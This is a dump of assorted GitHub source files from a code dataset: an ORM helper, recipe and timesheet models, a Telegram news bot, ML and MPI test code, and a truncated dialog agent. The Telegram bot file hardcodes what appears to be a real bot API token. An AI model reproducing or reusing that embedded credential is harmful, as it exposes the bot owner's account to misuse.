hide_sensitive_options(self, config, command):\n \"\"\"Hide sensitive options in command string before it's displayed in the shell for\n security reasons. All drivers can declare what options are considered sensitive, their\n values will be then replaced by *** when displayed only.\"\"\"\n cleaned_command = command\n sensitive_options = self.get_sensitive_options(config)\n for option in sensitive_options:\n # if option is used obfuscate its value\n if option in command:\n match = re.search(rf\"{option} (\\w+)\", command)\n if match.groups():\n cleaned_command = cleaned_command.replace(match.groups()[0], \"***\")\n return cleaned_command\n","repo_name":"MasoniteFramework/orm","sub_path":"src/masoniteorm/commands/ShellCommand.py","file_name":"ShellCommand.py","file_ext":"py","file_size_in_byte":7217,"program_lang":"python","lang":"en","doc_type":"code","stars":139,"dataset":"github-code","pt":"62"} +{"seq_id":"40749663001","text":"import db.DBConnection as DBConnection\n\nclass RecipeItem(object):\n \n def __init__(self, ingredient, recipe, ml):\n self.ingredient = ingredient\n self.recipe = recipe\n self.ml = ml\n \n @staticmethod\n def queryAll(recipeId):\n recipeItems = []\n for dict in RecipeItemDB().loadAll(recipeId):\n recipeItem = RecipeItem(ingredient=dict['ingredient'], recipe=dict['recipe'], ml=dict['ml'])\n recipeItems.append(recipeItem)\n return recipeItems\n\nclass RecipeItemDB:\n \n def __handleRecipeItems(self, cursor):\n self.recipeItems = []\n for ingredient, recipe, ml in cursor:\n recipeItem ={\n 'ingredient': ingredient,\n 'recipe': recipe,\n 'ml': ml\n }\n self.recipeItems.append(recipeItem)\n \n def loadAll(self, recipeId):\n data = (recipeId,)\n query = \"SELECT ingredient, recipe, ml FROM recipeItem\"\n query += \" WHERE recipe=%s\"\n DBConnection.query(query, data, self.__handleRecipeItems)\n if len(self.recipeItems) < 1:\n return []\n return self.recipeItems\n \n def insert(self, recipeItem):\n data = (recipeItem['ingredient'], recipeItem['recipe'], recipeItem['ml'])\n DBConnection.dbAction(\"INSERT INTO recipeItem (ingredient, recipe, ml) VALUES (%s,%s,%s) RETURNING ingredient, recipe, ml\", data, self.__handleRecipeItems, commit = True)\n return self.recipeItems[0]\n\n\ndef read_all(recipeId):\n return RecipeItemDB().loadAll(recipeId)\n\ndef insert(recipeItem):\n return RecipeItemDB().insert(recipeItem)","repo_name":"jemtech/cocktail-machine","sub_path":"software/recipeItem.py","file_name":"recipeItem.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"19758791283","text":"from telegram.ext import Updater\nupdater = Updater(token='462381555:AAGpyrfrkxt0_uitj-z4ZFUMDMfQt0MdZhY')\n\ndispatcher = updater.dispatcher\nimport sqlite3\ndatabase_connector = sqlite3.connect\nDATABASE = 'sq.sql'\nimport logging\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\n\ndef start(bot, update):\n conn = database_connector(DATABASE)\n conn.execute('INSERT INTO Users VALUES (:user_id, :us)', {\"user_id\": update.message.chat_id, \"us\": 'User'})\n conn.commit()\n conn.close()\n bot.send_message(chat_id=update.message.chat_id, text=\"Вы успешн�� подписались на новости Лисьего Носа!\")\n print(update.message.chat_id)\n\nDEBUG = True\ndef send(bot, update):\n if update.message.chat_id != 130703270:\n return\n conn = database_connector(DATABASE)\n cursor = conn.cursor()\n cursor.execute('SELECT user_id FROM Users')\n for i in cursor.fetchall():\n if DEBUG:\n bot.send_message(chat_id=int(i[0]), text=update.message.text[5:])\n else:\n bot.send_message(chat_id=130703270, text=update.message.text[5:])\n conn.close()\n print('yes')\n\ndef kot(bot, update):\n bot.send_message(chat_id=update.message.chat_id, photo=open('test.png', 'rb'))\n\nfrom telegram.ext import CommandHandler\n\nstart_handler = CommandHandler('start', start)\n\ndispatcher.add_handler(start_handler)\ndispatcher.add_handler(CommandHandler('send', send))\ndispatcher.add_handler(CommandHandler('kot', kot))\n\nupdater.start_polling()\n","repo_name":"viad00/code_olymp","sub_path":"uts/uts_17_aut_py/FoxNewBot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9937813797","text":"from django.conf import settings\nfrom django.db import models\nfrom django.utils.translation import gettext_lazy as _\n\nfrom .. import BONUS_LEADER, HOURLY_RATE_HELPER, RATE_ACTOR\n\n\nclass Timesheet(models.Model):\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n related_name=\"timesheets\",\n on_delete=models.CASCADE,\n )\n date = models.DateField(_(\"Date\"), blank=True, null=True)\n\n time_helper = models.FloatField(_(\"Heures moni·teur·trice\"), default=0)\n actor_count = models.IntegerField(_(\"Intervention(s)\"), default=0)\n leader_count = models.IntegerField(\n _(\"Participation(s) comme moniteur 2\"), default=0\n )\n\n overtime = models.FloatField(_(\"Heures supplémentaires\"), default=0)\n traveltime = models.FloatField(_(\"Heures de trajet\"), default=0)\n comments = models.TextField(_(\"Remarques\"), blank=True)\n\n validated_at = models.DateTimeField(null=True, blank=True)\n validated_by = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n related_name=\"+\",\n on_delete=models.SET_NULL,\n null=True,\n )\n ignore = models.BooleanField(_(\"Ignorer\"), default=False)\n\n class Meta:\n unique_together = (\n (\n \"user\",\n \"date\",\n ),\n )\n\n def get_total_amount_helper(self):\n if self.ignore:\n return 0\n return (\n (self.time_helper or 0) + self.overtime + self.traveltime\n ) * HOURLY_RATE_HELPER\n\n def get_total_amount_actor(self):\n if self.ignore:\n return 0\n return (self.actor_count or 0) * RATE_ACTOR\n\n def get_total_amount_leader(self):\n if self.ignore:\n return 0\n return (self.leader_count or 0) * BONUS_LEADER\n\n def get_total_amount(self):\n if self.ignore:\n return 0\n return (\n self.get_total_amount_actor()\n + self.get_total_amount_helper()\n + self.get_total_amount_leader()\n )\n","repo_name":"defivelo/db","sub_path":"apps/salary/models/timesheets.py","file_name":"timesheets.py","file_ext":"py","file_size_in_byte":2002,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"3763526739","text":"\"\"\"\nhttps://pymotw.com/3/weakref/\n\nWeak references to objects are managed through the ref class. To retrieve the original object, call the reference \nobject.\n\"\"\"\n\n##############################################################################\n# WEAK REFERENCING\n##############################################################################\n\nimport weakref\nimport ctypes\n\n\nclass ExpensiveObject:\n\n def __del__(self):\n print('(Deleting {})'.format(self))\n\n\n# Object instantiation\nprint(\"Create expensive object\")\nobj = ExpensiveObject()\naddr = id(obj)\n\n# Expensive referencing\nprint(\"Reference expensive object multiple times\")\nref = []\nfor i in range(10):\n ref.append(weakref.ref(obj))\n # print(ref[-1])\n print(ref[-1]())\n\n# Print reference count\nref_count = ctypes.c_long.from_address(addr).value\nprint(\"Reference count is {0}\".format(ref_count))\n\n# Delete strong reference\nprint('deleting obj')\ndel obj\n\n# Print reference count\nref_count = ctypes.c_long.from_address(addr).value\nprint(\"Reference count is {0}\".format(ref_count))\n\n# Print dictionary with weak references\nprint([x() for x in ref])\n","repo_name":"braboj/tutorial-python","sub_path":"Part E - Libraries/tut_weakref/weak.py","file_name":"weak.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"11053948686","text":"Week = {'Monday','Tuesday','Wednesday','Thursday','Friday','Saturday','Sunday'}\nWD = input('What day of the week are you parking your car?')\nwhile WD not in Week:\n WD = input('Please enter valid day:')\nif WD in {'Monday','Tuesday','Wednesday','Thursday','Friday'}:\n Day=1\n Rate = 10\nif WD in {'Saturday'}:\n Day=2\n Rate = 3\nif WD in {'Sunday'}:\n Day=3\n Rate = 2\nHrs = int(input('How many hours are you leaving your car?'))\nif Day == 1:\n while Hrs>2:\n Hrs = int(input('Cannot park for so long, input lower number:'))\nif Day == 2:\n while Hrs>4:\n Hrs = int(input('Cannot park for so long, input lower number:'))\nif Day == 3:\n while Hrs>10:\n Hrs = int(input('Cannot park for so long, input lower number:'))\nArv = int(input('Hour of arrival:'))\nwhile Arv > 23:\n Arv = int(input('Enter valid hour. No minutes. Two digits only:'))\nwhile Arv + Hrs > 24:\n Arv = int(input('Cannot park so late, please pick earlier time:'))\nwhile Arv < 8:\n Arv = int(input('Cannot park so early, please pick a later time:'))\nif Day == 1 and Arv > 16:\n Rate = 2\nelse:\n if Day == 2 and Arv < 16:\n Rate = 3\nprice = Hrs*Rate\nprint(price,':Here is your price.')\nyn = input(\"Do you have a code?\")\nloop = 1\ncode = []\nwhile loop < 6:\n a = int(input('Input '+ str(loop) +' digit of the code:'))\n code.append(a)\n loop = loop + 1\ncheck = 11-(((code[0]*5) + (code[1]*4) + (code[2]*3) + (code[3]*2))%11)\nif check == code[4]:\n price = price/50\n print('Valid code. Discount applied:',price)\nelse:\n print('Invalid code. Discount not applied')\n","repo_name":"SanchiManchi/First-Repository","sub_path":"PreRelease_Parking.py","file_name":"PreRelease_Parking.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29014626768","text":"import argparse\nimport logging\nimport pickle\n\nimport blink.main_dense as main_dense\nfrom flair.models import SequenceTagger\nfrom flair.data import Sentence\n\nfrom kilt.retrievers.base_retriever import Retriever\nimport kilt.kilt_utils as utils\n\nclass BLINK(Retriever):\n def __init__(self, name, **config):\n super().__init__(name)\n\n \n self.args = argparse.Namespace(**config)\n\n self.logger = logging.getLogger(\"KILT\")\n\n self.models = main_dense.load_models(self.args, logger=self.logger)\n\n self.ner_model = SequenceTagger.load(\"ner\")\n\n self.cache_pages = {}\n\n self.Wikipedia_title2id = pickle.load(open(self.args.wikipedia_title2id, \"rb\"))\n\n def feed_data(\n self,\n queries_data,\n ent_start_token=utils.ENT_START,\n ent_end_token=utils.ENT_END,\n logger=None,\n ):\n if logger:\n self.logger = logger\n\n wikipedia_id2local_id = self.models[8]\n\n self.test_data = []\n for element in queries_data:\n\n query = element[\"query\"]\n\n if ent_start_token in query and ent_end_token in query:\n split1 = query.split(ent_start_token)\n assert len(split1) == 2\n left = split1[0]\n split2 = split1[1].split(ent_end_token)\n assert len(split2) == 2\n mention = split2[0]\n right = split2[1]\n\n record = {\n \"id\": element[\"id\"],\n \"label\": \"unknown\",\n \"label_id\": -1,\n \"context_left\": left.strip().lower(),\n \"mention\": mention.strip().lower(),\n \"context_right\": right.strip().lower(),\n }\n self.test_data.append(record)\n else:\n\n # Apply a NER system\n sent = Sentence(query, use_tokenizer=True)\n self.ner_model.predict(sent)\n sent_mentions = sent.to_dict(tag_type=\"ner\")[\"entities\"]\n\n if len(sent_mentions) == 0:\n # no mention\n record = {\n \"id\": element[\"id\"],\n \"label\": \"unknown\",\n \"label_id\": -1,\n \"context_left\": query.strip().lower(),\n \"mention\": \"\",\n \"context_right\": \"\",\n }\n self.test_data.append(record)\n\n else:\n # create a record for each mention detected\n for hit in sent_mentions:\n left = query[: int(hit[\"start_pos\"])].strip()\n mention = hit[\"text\"]\n right = query[int(hit[\"end_pos\"]) :].strip()\n\n record = {\n \"id\": element[\"id\"],\n \"label\": \"unknown\",\n \"label_id\": -1,\n \"context_left\": left.strip().lower(),\n \"mention\": mention.strip().lower(),\n \"context_right\": right.strip().lower(),\n }\n self.test_data.append(record)\n\n def run(self):\n (\n biencoder_accuracy,\n recall_at,\n crossencoder_normalized_accuracy,\n overall_unormalized_accuracy,\n num_datapoints,\n predictions,\n scores,\n ) = main_dense.run(\n self.args, self.logger, *self.models, test_data=self.test_data\n )\n\n # aggregate multiple records for the same datapoint\n print(\"aggregate multiple records for the same datapoint\", flush=True)\n id_2_results = {}\n for r, p, s in zip(self.test_data, predictions, scores):\n\n if r[\"id\"] not in id_2_results:\n id_2_results[r[\"id\"]] = {\"predictions\": [], \"scores\": []}\n id_2_results[r[\"id\"]][\"predictions\"].extend(p)\n id_2_results[r[\"id\"]][\"scores\"].extend(s)\n\n provenance = {}\n\n for id, results in id_2_results.items():\n\n element = []\n\n # merge predictions when multiple entities are found\n sorted_titles = []\n sorted_scores = []\n for y, x in sorted(\n zip(results[\"scores\"], results[\"predictions\"]), reverse=True\n ):\n if x not in sorted_titles:\n sorted_titles.append(x)\n sorted_scores.append(y)\n\n local_doc_id = []\n for e_title, score in zip(sorted_titles, sorted_scores):\n\n if e_title not in self.Wikipedia_title2id:\n print(\n \"WARNING: title: {} not recognized\".format(e_title), flush=True\n )\n else:\n\n \"\"\"\n if e_title in self.cache_pages:\n page = self.cache_pages[e_title]\n else:\n page = self.ks.get_page_by_title(e_title)\n self.cache_pages[e_title] = page\n\n wikipedia_id = page[\"wikipedia_id\"]\n \"\"\"\n\n wikipedia_id = self.Wikipedia_title2id[e_title]\n\n element.append(\n {\n \"score\": str(score),\n # \"text\": page[\"text\"],\n \"wikipedia_title\": str(e_title),\n \"wikipedia_id\": str(wikipedia_id),\n }\n )\n provenance[id] = element\n\n return provenance\n","repo_name":"facebookresearch/KILT","sub_path":"kilt/retrievers/BLINK_connector.py","file_name":"BLINK_connector.py","file_ext":"py","file_size_in_byte":5727,"program_lang":"python","lang":"en","doc_type":"code","stars":858,"dataset":"github-code","pt":"62"} +{"seq_id":"31647805810","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.metrics import pairwise_distances\n#from sklearn.neighbors import KDTree\n#import matplotlib.pyplot as plt\nfrom matplotlib import style\nstyle.use('ggplot')\n\ndef read(filename):\n df = pd.read_csv(filename, header = None)\n df = df.values\n m = len(df) #number of data points\n arr = df[:, 0] #take last column\n x = df[:, 1:df.shape[1]]\n y = arr\n return x, y, m\n\ndef minibatch(x, batch, c):\n iteration = 13\n i = 1\n for i in range(iteration):\n x_working = x[np.random.permutation(x.shape[0])[:batch]]\n net = np.zeros(3)\n assign = np.empty(x_working.shape[0], dtype=np.int)\n\n for l, m in enumerate(x_working): #assign centres to points\n assign[l] = np.argmin(((c - m)**2).sum(1))\n\n for p, q in enumerate(x_working): #reassign centre\n net[assign[p]] = net[assign[p]]+1\n grad = 1.0 / net[assign[p]]\n c[assign[p]] = (1.0 - grad) * c[assign[p]] + grad*q\n i = i+1\n print (i)\n print (c)\n return c\n\n\ndef answer():\n x_train, y_train, m = read(\"/Users/arundhatidixit/Desktop/Course/ML/Assignment2/wine.csv\")\n c = x_train[:3]\n batch = 15\n cminib = minibatch(x_train, batch, c)\n print (cminib)\n label = np.argmin(pairwise_distances(cminib, x_train), axis=0)\n print (label)\n# tree = KDTree(x)\n# centroids = tree.query(cminib, k=1, return_distance=False).squeeze()\n# print (centroids)\n return\n\nanswer()","repo_name":"therundhati/Course-Assignments","sub_path":"ML/MLR, RR, MBK/2016ME10824_minik.py","file_name":"2016ME10824_minik.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74252476358","text":"\"\"\" Simple API for tests. \"\"\"\nfrom adrest.views import ResourceView\nfrom adrest.api import Api\n\n\napi = Api(api_rpc=True)\n\n\n@api.register\nclass PirateResource(ResourceView):\n\n \"\"\" Part of simple API for tests. \"\"\"\n\n class Meta:\n allowed_methods = 'get', 'POST', 'pUt', 'delete', 'Patch'\n model = 'core.pirate'\n\n\n@api.register\nclass BoatResource(ResourceView):\n\n \"\"\" Part of simple API for tests. \"\"\"\n\n class Meta:\n allowed_methods = 'get', 'post', 'put', 'delete'\n model = 'core.boat'\n parent = PirateResource\n\n\napi2 = Api('1.0.0')\napi2.register(PirateResource)\n","repo_name":"klen/adrest","sub_path":"tests/core/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"62"} +{"seq_id":"25579876059","text":"x1, x2, x3, x4 = map(int, input().split())\r\n\r\n\r\ndef queen(x1, y1, x2, y2):\r\n if (abs(x1-x2) <= 1 and abs(y1-y2) <= 1) or (x1==x2 or y1==y2) or (x1+y1==x2+y2):\r\n return (\"YES\")\r\n else:\r\n return (\"NO\")\r\n\r\nprint(queen(x1, x2, x3, x4))","repo_name":"tvha23/Information-Communication-Technologies-2020-Fall","sub_path":"4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1383519645","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\n\r\n\r\nmain_filename = 'item-names' + '.json'\r\n\r\n#1 = 레거시, 2=레저렉션, 3=새로만드는파일 헷갈리지말것\r\n\r\nfilename1 = r\"C:\\Users\\circi\\Documents\\python\\번역변경\\strings-legacy\\\\\" + main_filename\r\nfilename2 = r\"C:\\Users\\circi\\Documents\\python\\번역변경\\strings\\\\\" + main_filename\r\n\r\nfilename3 = r\"C:\\Users\\circi\\Documents\\python\\번역변경\\\\\" + main_filename\r\n\r\nerrname = r\"C:\\Users\\circi\\Documents\\python\\번역변경\\errlist.txt\"\r\n\r\nfile_1 = open(filename1, \"r\", encoding=\"UTF-8\")\r\nfile_2 = open(filename2, \"r\", encoding=\"UTF-8\")\r\nfile_3 = open(filename3, \"w\", encoding=\"UTF-8\")\r\nfile_err = open(errname, \"a\", encoding=\"UTF-8\")\r\n\r\nf1_strs = file_1.readlines()\r\nf2_strs = file_2.readlines()\r\n\r\nidx_a = 0\r\nidx_b = 0\r\ndata_list1=[]\r\n\r\nid_org = ''\r\nkokr_org = ''\r\n\r\nid_new = ''\r\nkokr_new = ''\r\nfor i in range(1,50000):\r\n data_list1.append('')\r\n\r\n\r\nlineNum = 0\r\nkokr_org = ''\r\nfor fstr in f1_strs:\r\n \r\n if fstr.find('\"id\"') > 0:\r\n idx_a = fstr.find('\"id\"') + 6\r\n idx_b = fstr.find(',')\r\n id_org = int(fstr[idx_a:idx_b])\r\n if fstr.find('\"koKR\"') > 0:\r\n idx_a = fstr.find('\"koKR\"') + 8\r\n idx_b = fstr.find(\"\\\",\")+1\r\n kokr_org = fstr[idx_a:idx_b]\r\n if len(kokr_org) > 1:\r\n #print('id:', id_org, 'str=',kokr_org, ' lineNum[idx]=', lineNum)\r\n data_list1[id_org] = kokr_org\r\n #print('입력id=', id_org, 'str=', kokr_org)\r\n kokr_org = ''\r\n \r\nfor fstr in f2_strs:\r\n if fstr.find('\"id\"') > 0:\r\n idx_a = fstr.find('\"id\"') + 6\r\n idx_b = fstr.find(',')\r\n id_new = int(fstr[idx_a:idx_b])\r\n #print(id_new)\r\n if fstr.find('\"koKR\"') > 0:\r\n idx_a = fstr.find('\"koKR\"') + 8\r\n idx_b = fstr.find('\\\",')\r\n kokr_new = fstr[idx_a:idx_b]\r\n # print(data_list1[id_new])\r\n new_str = str(data_list1[id_new])\r\n if len(new_str) > 0:\r\n #print('id:', id_new, 'old_str=',data_list1[id_new], ' newStr=',kokr_new)\r\n output_Str = \" \\\"koKR\\\": \"+ new_str + \",\\n\"\r\n file_3.write(output_Str)\r\n \r\n else:\r\n print('id:', id_new ,' / 데이터가 없습니다 아래내용으로 입력합니다.')\r\n print(fstr)\r\n file_3.write(fstr)\r\n file_err.write(fstr)\r\n else:\r\n file_3.write(fstr)\r\n \r\n\r\nfile_1.close()\r\nfile_2.close()\r\nfile_3.close()\r\nfile_err.close()\r\n","repo_name":"SeonEngineer/D2RMODS-LABS","sub_path":"D2R-legacyStringOverwrite.py","file_name":"D2R-legacyStringOverwrite.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28523403177","text":"import os\nimport json\nfrom openpyxl import load_workbook, Workbook\n\n\nclass DB(object):\n\n def __init__(self):\n \"\"\"Initialize WorkBook\"\"\"\n self.filename = \"../resources/database/database.xlsx\"\n self.path_file = self.filename\n self.wb = Workbook()\n self.sheet = self.wb.active\n self.sheet['A1'] = 'chat_id'\n self.sheet['B1'] = 'first_week'\n self.sheet['C1'] = 'first_recess_week'\n self.sheet['D1'] = 'student_type'\n self.sheet['E1'] = 'course_code_event_id'\n self.sheet['F1'] = 'other_event_id'\n \n # If file doesn't exist, create it\n if not os.path.isfile(self.path_file):\n self.wb.save(self.path_file)\n \n # for updating method\n self.wb_update = load_workbook(self.path_file)\n self.sheet_update = self.wb_update.active\n\n self._chat_id_list = []\n\n @property\n def chat_id_list(self):\n return self._chat_id_list\n\n @chat_id_list.setter\n def chat_id_list(self, value):\n self._chat_id_list.append(value)\n return self._chat_id_list\n \n def update(self, chat_id, first_week=None, first_recess_week=None, student_type=None, course_code_event_id=None, other_event_id=None):\n \"\"\"Description: Update exisiting workbook\"\"\"\n update_list = [chat_id, first_week, first_recess_week, student_type, course_code_event_id, other_event_id]\n if not self.isChatidExist(chat_id):\n self.sheet_update.append(update_list)\n else:\n print('Updating existing table')\n update_list.remove(chat_id)\n self.set_table_query(chat_id, update_list)\n\n self.wb_update.save(self.path_file)\n\n def isChatidExist(self, chat_id):\n for i in range(1, len(self.sheet_update['A'])):\n self.chat_id_list.append(self.sheet_update['A'][i].value)\n return chat_id in self.chat_id_list\n \n def isRecordExist(self, chat_id, first_week=None, first_recess_week=None, student_type=None, course_code_event_id=None, other_event_id=None):\n \"\"\"Description: Check if a particular record exists in the database \\n\n Usage: Set the optional parameter to be True to retrieve the data \\n\n Return: Boolean\n Note: Only 1 optional parameter can be set to True at a time\n \"\"\"\n result = None\n for row in self.sheet_update.iter_rows():\n for cell in row:\n if cell.value == chat_id:\n if first_week:\n result = self.sheet_update.cell(row=cell.row, column=2).value\n elif first_recess_week:\n result = self.sheet_update.cell(row=cell.row, column=3).value\n elif student_type:\n result = self.sheet_update.cell(row=cell.row, column=4).value\n elif course_code_event_id:\n dictionary = self.sheet_update.cell(row=cell.row, column=5).value\n if dictionary != '{}' and dictionary is not None:\n result = self.sheet_update.cell(row=cell.row, column=5).value\n elif other_event_id:\n dictionary = self.sheet_update.cell(row=cell.row, column=6).value\n if dictionary != '{}' and dictionary is not None:\n result = self.sheet_update.cell(row=cell.row, column=6).value\n break\n return result is not None\n \n def table_query(self, chat_id, first_week=None, first_recess_week=None, student_type=None, course_code_event_id=None, other_event_id=None):\n \"\"\"Description: Query table in database\n Usage: Set the requested data parameter to True to retrieve it.\n Return: list\n Note: Returns a list of requested data with the index coresponds to the order of the optional arguments, i.e. first_week has the index 0, first_recess_week has the index 1, etc.\"\"\"\n \n arg_list = [first_week, first_recess_week, student_type, course_code_event_id, other_event_id]\n result_list = []\n for row in self.sheet_update.iter_rows():\n for cell in row:\n if cell.value == chat_id:\n for i in range(len(arg_list)):\n if arg_list[i] is not None:\n result = self.sheet_update.cell(row=cell.row, column=i + 2).value\n result_list.append(result)\n else:\n result_list.append(None)\n break\n break\n # No chat id yet\n if len(result_list) == 0:\n for i in range(len(arg_list)):\n result_list.append(None)\n return result_list\n \n def set_table_query(self, chat_id, update_list):\n \"\"\"Description: Query table to set data with the corresponding chat_id \\n\n Usage: Set the optional argument to the value that you want to set \\n\n Example: set_table_query(, first_week='2017-8-14') \\n\n Return: None\n \"\"\"\n for row in self.sheet_update.iter_rows():\n for cell in row:\n if cell.value == chat_id:\n for i in range(len(update_list)):\n if update_list[i] is not None:\n self.sheet_update.cell(row=cell.row, column=i + 2, value=update_list[i])\n break\n break\n\n def UpdateCourseCodeEventId(self, chat_id, course_code, evt_id):\n if self.isChatidExist(chat_id):\n print('Updating existing table')\n for row in self.sheet_update.iter_rows():\n for cell in row:\n if cell.value == chat_id:\n data = self.sheet_update.cell(row=cell.row, column=5).value\n\n # Parse to dictionary\n data_dict = json.loads(data)\n # Append the list inside the dictionary\n data_dict[course_code]['event_id'].append(evt_id)\n # Parse it back to strings\n data_str = json.dumps(data_dict)\n # Put it into the database\n self.sheet_update.cell(row=cell.row, column=5, value=data_str)\n break\n break\n self.wb_update.save(self.path_file)\n","repo_name":"TechBotGit/bot","sub_path":"resources/modules/DBClass.py","file_name":"DBClass.py","file_ext":"py","file_size_in_byte":6449,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"8656580338","text":"import pytest\nfrom mpi4py import MPI\n\nimport nifty8 as ift\n\nfrom ..common import setup_function, teardown_function\n\ncomm = MPI.COMM_WORLD\nntask = comm.Get_size()\nrank = comm.Get_rank()\nmaster = (rank == 0)\nmpi = ntask > 1\n\npmp = pytest.mark.parametrize\npms = pytest.mark.skipif\n\n\n@pms(not mpi, reason=\"requires at least two mpi tasks\")\ndef test_MPI_equality():\n obj = rank\n with pytest.raises(RuntimeError):\n ift.utilities.check_MPI_equality(obj, comm)\n\n obj = [ii + rank for ii in range(10, 12)]\n with pytest.raises(RuntimeError):\n ift.utilities.check_MPI_equality(obj, comm)\n\n sseqs = ift.random.spawn_sseq(ntask)\n for obj in [12., None, (29, 30), [1, 2, 3], sseqs[0], sseqs]:\n ift.utilities.check_MPI_equality(obj, comm)\n\n obj = ift.random.spawn_sseq(ntask, parent=sseqs[comm.rank])\n with pytest.raises(RuntimeError):\n ift.utilities.check_MPI_equality(obj, comm)\n\n\n@pms(not mpi, reason=\"requires at least two mpi tasks\")\ndef test_MPI_synced_random_state():\n ift.utilities.check_MPI_synced_random_state(comm)\n with ift.random.Context(123 if master else 111):\n with pytest.raises(RuntimeError):\n ift.utilities.check_MPI_synced_random_state(comm)\n\n\n@pms(not mpi, reason=\"requires at least two mpi tasks\")\n@pmp(\"geo\", [False, True])\n@pmp(\"mirror\", [False, True])\n@pmp(\"n_samples\", [2, 3])\ndef test_MPI_synced_random_state_kl_energies(geo, mirror, n_samples):\n ic = ift.AbsDeltaEnergyController(0.1, iteration_limit=2)\n lh = ift.GaussianEnergy(ift.full(ift.UnstructuredDomain(2), 2.)).ducktape(\"a\")\n ham = ift.StandardHamiltonian(lh, ic)\n ift.utilities.check_MPI_synced_random_state(comm)\n with ift.random.Context(123 if master else 111):\n mean = ift.from_random(ham.domain)\n with pytest.raises(RuntimeError):\n mini = None\n if geo:\n mini = ift.NewtonCG(ift.AbsDeltaEnergyController(0.1, iteration_limit=2))\n ift.SampledKLEnergy(mean, ham, n_samples, mini, comm=comm)\n\n\n@pms(not mpi, reason=\"requires at least two mpi tasks\")\n@pmp(\"sync\", [False, True])\ndef test_random_field_generation(sync):\n with ift.random.Context(123 if master and not sync else 111):\n dom = ift.UnstructuredDomain(5)\n fld = ift.from_random(dom)\n if sync:\n ift.utilities.check_MPI_equality(fld, comm)\n else:\n with pytest.raises(RuntimeError):\n ift.utilities.check_MPI_equality(fld, comm)\n","repo_name":"Edenhofer/nifty","sub_path":"test/test_mpi/test_sync.py","file_name":"test_sync.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"18740769023","text":"from dialog_simulator import *\nfrom dialog_agents import Agent\nfrom copy import deepcopy\n\n\nclass MovieAgent(Agent):\n\n def __init__(self, domain):\n super(MovieAgent, self).__init__(domain)\n self.dialog_status = DialogStatus.NOT_STARTED\n self.goal = DialogGoal(inform_slots=dict(),\n request_slots={\"city\": \"UNK\",\n \"date\": \"UNK\",\n \"movie\": \"UNK\",\n \"theater\": \"UNK\",\n \"no_tickets\": \"UNK\"}\n )\n self.cc_details = {\"credit_card\": \"UNK\",\n \"ccv\": \"UNK\",\n \"cc_zip\":\"UNK\",\n \"cc_exp\":\"UNK\"}\n self.params = None\n\n nlg_template = import_yaml(\"sample_domains/movies/nlg_agent_rules.yml\")\n self.nlg = NLGTemplate(nlg_template=nlg_template)\n\n\n def reset(self):\n self.current_turn = -1\n self.dialog_status = DialogStatus.NOT_STARTED\n self.goal = DialogGoal(inform_slots=dict(),\n request_slots={\"city\": \"UNK\",\n \"date\": \"UNK\",\n \"movie\": \"UNK\",\n \"theater\": \"UNK\",\n \"no_tickets\": \"UNK\"})\n\n def get_utterance(self, action: 'DialogAction') -> str:\n return self.nlg.get_utterance(action)\n\n def parse_utterance(self, utterance:str ) -> 'DialogAction':\n if self.nlu is not None:\n return self.nlu.parse_utterance(utterance)\n else:\n return None\n\n def next(self, user_action: 'DialogAction', current_turn: int) -> 'DialogAction':\n self.current_turn = current_turn\n\n if user_action is None and self.dialog_status == DialogStatus.NOT_STARTED or current_turn == -1:\n self.dialog_status = DialogStatus.NO_OUTCOME_YET\n action = DialogAction(dialog_act=\"greetings\")\n action.update_utterance(self.get_utterance(action))\n return action\n\n elif user_action.dialog_act == \"request\":\n self.dialog_status = DialogStatus.NO_OUTCOME_YET\n\n # Check all keys exist in inform slots\n request_keys = list(user_action.params.keys())\n if all(k in self.goal.inform_slots.keys() for k in request_keys):\n params = {}\n for k, v in user_action.params.items():\n if k in self.dialog_state[\"inform_slots\"]:\n params[k] = v\n action = DialogAction(dialog_act=\"inform\", params=params)\n action.update_utterance(self.get_utterance(action))\n return action\n\n # Check KB for information\n else:\n # Pull out params with None.\n missing_params = {k:v for k,v in user_action.params.items()\n if v is None}\n lookup_params = {k:v for k,v in user_action.params.items()\n if v is not None}\n\n suggestions = self.domain.domain_kb.get_suggestions(lookup_params, 1)[0]\n\n if len(suggestions) == 0: # No suggestion returned\n return DialogAction(dialog_act=\"inform\", params={\"unknown\": None})\n else:\n for param in missing_params:\n missing_params[param] = suggestions[0][param]\n action = DialogAction(dialog_act=\"inform\", params=missing_params)\n action.update_utterance(self.nlg.get_utterance(action))\n return action\n\n elif user_action.dialog_act == \"bye\":\n self.dialog_status = DialogStatus.FINISHED\n action = DialogAction(dialog_act=\"bye\")\n action.update_utterance(self.get_utterance(action))\n return action\n\n else:\n if user_action.params is None:\n return 